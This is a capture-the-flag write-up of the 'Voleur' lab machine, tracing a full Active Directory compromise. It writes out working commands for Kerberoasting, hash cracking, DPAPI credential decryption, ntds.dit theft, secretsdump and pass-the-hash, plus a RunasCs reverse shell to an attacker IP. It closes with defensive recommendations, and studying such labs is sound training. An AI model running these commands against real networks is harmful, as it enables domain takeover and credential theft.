🔒 Voleur

July 9, 2025
Windows
8 hours
Medium
Active Directory Kerberos LDAP SMB DPAPI Kerberoasting WSL NTDS
Enumeration

🔍 1. Initial Enumeration – Nmap

I started with a comprehensive port scan to identify running services:

nmap -p- --min-rate 10000 -vv 10.10.11.76
Port Service Name Description
53 domain (DNS) Domain Name System – used for name resolution.
88 kerberos-sec Kerberos authentication – core to AD logins.
389 ldap LDAP – used for querying Active Directory.
445 microsoft-ds SMB – file sharing, remote admin, AD communication.
5985 wsman WinRM – remote Windows management (over HTTP).
2222 SSH (Custom) Custom SSH service, likely WSL.

The scan revealed a Windows Active Directory environment with domain VOLEUR.HTB.


🔐 2. SMB Authentication Testing

Initial enumeration using the provided credentials ryan.naylor:HollowOct31Nyt:

Initial SMB access attempt showing access denied

Standard SMB access was denied, indicating additional authentication mechanisms required.


⏰ 3. Time Synchronization

sudo ntpdate voleur.htb
Time synchronization with domain controller
Critical: Time synchronization is essential for Kerberos authentication. A time skew of more than 5 minutes will cause authentication failures.

🎫 4. LDAP with Kerberos Authentication

Standard NTLM authentication failed with STATUS_NOT_SUPPORTED, but Kerberos worked:

nxc ldap voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k
Successful Kerberos authentication

👥 5. Domain User Enumeration

nxc ldap voleur.htb -u 'ryan.naylor' -p 'HollowOct31Nyt' -k --users
Domain user enumeration results

📁 6. SMB Share Enumeration via Kerberos

SMB share enumeration

Using Kerberos authentication, I accessed SMB shares:

smbclient.py -k dc.voleur.htb

Available shares:

  • IT – Accessible with First-Line Support/ subfolder
  • SYSVOL/NETLOGON – Standard AD shares
  • HR/Finance – Access denied

📄 7. Excel File Discovery

Found Access_Review.xlsx in the IT First-Line Support directory:

Excel file discovery Password protected Excel file
Credential Discovery

🔓 8. Excel Password Cracking

Office2john hash extraction

Extracted and cracked the Excel password:

office2john Access_Review.xlsx > hash.txt
john hash.txt --show
Password recovered: football1
Successful password crack

📊 9. Excel Analysis - Critical Findings

Account Purpose Password
svc_ldap LDAP Services M1XyC9pW7qT5Vn
svc_iis IIS Administration N5pXyW1VqM7CZ8

Additional findings:

  • Ryan Naylor: Kerberos Pre-Auth disabled (AS-REP Roasting target)
  • Deleted Account: tess.maffe with password NightT1meP1dg3on14

🧠 10. BloodHound Analysis

bloodhound-python -u 'ryan.naylor' -p 'HollowOct31Nyt' -d voleur.htb -c All -ns 10.10.11.76 -k --zip
BloodHound data collection

Key attack paths identified:

  • SVC_LDAP has WriteSPN on SVC_WINRM → Kerberoasting opportunity
  • SVC_LDAP in RESTORE_USERS → Can restore deleted AD objects
  • Multiple GenericWrite permissions for privilege escalation
User Access
Service account access overview

🔑 11. Service Account Authentication

impacket-getTGT voleur.htb/svc_ldap:'M1XyC9pW7qT5Vn' -dc-ip 10.10.11.76
export KRB5CCNAME=svc_ldap.ccache

⚔️ 12. Kerberoasting Attack

python3 targetedKerberoast.py -k --dc-host dc.voleur.htb -u svc_ldap -d voleur.htb

Successfully retrieved hashes for:

  • lacey.miller
  • svc_winrm
Kerberoast hash extraction

🔓 13. Hash Cracking

hashcat -a 0 voleurhash.txt /usr/share/wordlists/rockyou.txt
Successful hash cracking
Cracked: svc_winrm:AFireInsidedeOzarctica980219afi

⚙️ 14. Kerberos Configuration

sudo tee /etc/krb5.conf >/dev/null <<'EOF'
[libdefaults]
  default_realm = VOLEUR.HTB
  dns_lookup_kdc = false

[realms]
  VOLEUR.HTB = {
    kdc = dc.voleur.htb
    admin_server = dc.voleur.htb
  }

[domain_realm]
  .voleur.htb = VOLEUR.HTB
  voleur.htb  = VOLEUR.HTB
EOF

🌐 15. WinRM Shell Access

impacket-getTGT voleur.htb/svc_winrm:'AFireInsidedeOzarctica980219afi' -dc-ip 10.10.11.76
export KRB5CCNAME=svc_winrm.ccache
evil-winrm -i dc.voleur.htb -u svc_winrm -r voleur.htb
Fresh TGT generation WinRM shell access IT directory structure showing support tiers
User access achieved: Shell as svc_winrm on domain controller
Privilege Escalation

🔄 16. Lateral Movement to svc_ldap

Used RunasCs to pivot to svc_ldap (member of RESTORE_USERS):

RunasCs lateral movement
.\RunasCs.exe svc_ldap M1XyC9pW7qT5Vn powershell.exe -r 10.10.16.28:3000
Successful pivot svc_ldap shell confirmation

🗑️ 17. Deleted Object Recovery

Get-ADObject -Filter 'isDeleted -eq $true -and objectClass -eq "user"' -IncludeDeletedObjects
Deleted user discovery Todd Wolfe deleted account

Found deleted user: Todd Wolfe

Get-ADObject -Filter 'isDeleted -eq $true -and Name -like "*Todd Wolfe*"' -IncludeDeletedObjects | Restore-ADObject

🎫 18. Todd Wolfe Access

impacket-getTGT VOLEUR.HTB/todd.wolfe:'NightT1meP1dg3on14' -dc-ip 10.10.11.76
export KRB5CCNAME=todd.wolfe.ccache
Todd Wolfe TGT generation

🔐 19. DPAPI Credential Extraction

Discovered DPAPI files in Todd's archived profile:

Downloaded credential files:

  • Master Key: 08949382-134f-4c63-b93c-ce52efc0aa88
  • Credential Blob: 772275FAD58525253490A9B0039791D3

Decrypted master key:

impacket-dpapi masterkey -file 08949382-134f-4c63-b93c-ce52efc0aa88 -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14

Extracted stored credential:

impacket-dpapi credential -file 772275FAD58525253490A9B0039791D3 -key [decrypted_key]
DPAPI Recovery: jeremy.combs:qT3V9pLXyN7W4m

🐧 20. WSL Access Discovery

Jeremy's Third-Line Support directory contained:

  • id_rsa - SSH private key
  • Note.txt.txt - WSL configuration note
ssh -i id_rsa svc_backup@voleur.htb -p 2222
WSL file system access

💎 21. NTDS Database Exfiltration

Located Active Directory backups in WSL:

  • /mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit
  • /mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM
scp -i id_rsa -P 2222 "svc_backup@voleur.htb:/mnt/c/IT/Third-Line Support/Backups/Active Directory/ntds.dit" .
scp -i id_rsa -P 2222 "svc_backup@voleur.htb:/mnt/c/IT/Third-Line Support/Backups/registry/SYSTEM" .

👑 22. Domain Takeover

secretsdump.py -ntds ntds.dit -system SYSTEM -security SECURITY LOCAL
Domain hash extraction

Extracted Administrator hash:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::

Final access with extracted hash:

impacket-getTGT voleur.htb/Administrator -hashes :e656e07c56d831611b577b160b259ad2 -dc-ip 10.10.11.76
export KRB5CCNAME=Administrator.ccache
evil-winrm -i dc.voleur.htb -u Administrator -r voleur.htb
Administrator shell access
Domain Takeover Complete! Administrator access achieved on VOLEUR.HTB

Attack Chain Summary

This writeup demonstrated a complex Active Directory attack involving multiple privilege escalation vectors:

ryan.naylor (Initial Creds)
    → Kerberos Authentication
    → Excel File Discovery 
    → Service Account Creds (svc_ldap)
    → Kerberoasting Attack
    → svc_winrm Compromise
    → Lateral Movement to svc_ldap
    → Deleted Object Recovery (todd.wolfe)
    → DPAPI Credential Extraction
    → jeremy.combs Compromise
    → WSL SSH Access
    → NTDS Database Exfiltration
    → Administrator Hash
    → Domain Admin Access

Key Techniques Demonstrated

  • Kerberos Authentication: Bypassing NTLM restrictions using Kerberos tickets
  • Office Document Analysis: Extracting credentials from password-protected Excel files
  • Kerberoasting: Extracting and cracking service account passwords
  • Active Directory Restoration: Recovering deleted user accounts for privilege escalation
  • DPAPI Exploitation: Decrypting Windows stored credentials from archived profiles
  • WSL Abuse: Leveraging Windows Subsystem for Linux for backup file access
  • NTDS Database Extraction: Complete domain takeover through database analysis

Tools Used

  • Nmap: Network reconnaissance and service enumeration
  • NetExec (nxc): Active Directory enumeration and authentication testing
  • BloodHound: Active Directory relationship analysis and attack path discovery
  • office2john + John: Office document password cracking
  • targetedKerberoast.py: Selective Kerberoasting attacks
  • hashcat: Hash cracking for service account passwords
  • impacket suite: Kerberos ticket management and DPAPI decryption
  • RunasCs: Privilege escalation and lateral movement
  • secretsdump.py: NTDS database analysis and hash extraction
  • Evil-WinRM: Remote PowerShell access

Critical Vulnerabilities Exploited

  • Weak Password Protection: Easily crackable Excel file password
  • Credential Exposure: Service account passwords stored in documentation
  • Excessive Privileges: Service accounts with dangerous Active Directory permissions
  • Improper Backup Security: Critical AD databases accessible through WSL
  • DPAPI Weaknesses: Archived user profiles containing decryptable credentials
  • Deleted Object Retention: Sensitive accounts recoverable from AD recycle bin
Defensive Recommendations:
  • Implement proper backup security and access controls
  • Regular audit of service account privileges and permissions
  • Monitor for unusual Active Directory modifications and restorations
  • Secure credential storage practices and avoid documentation exposure
  • Implement proper DPAPI key management and user profile cleanup
  • Enable Advanced Threat Protection for Kerberoasting detection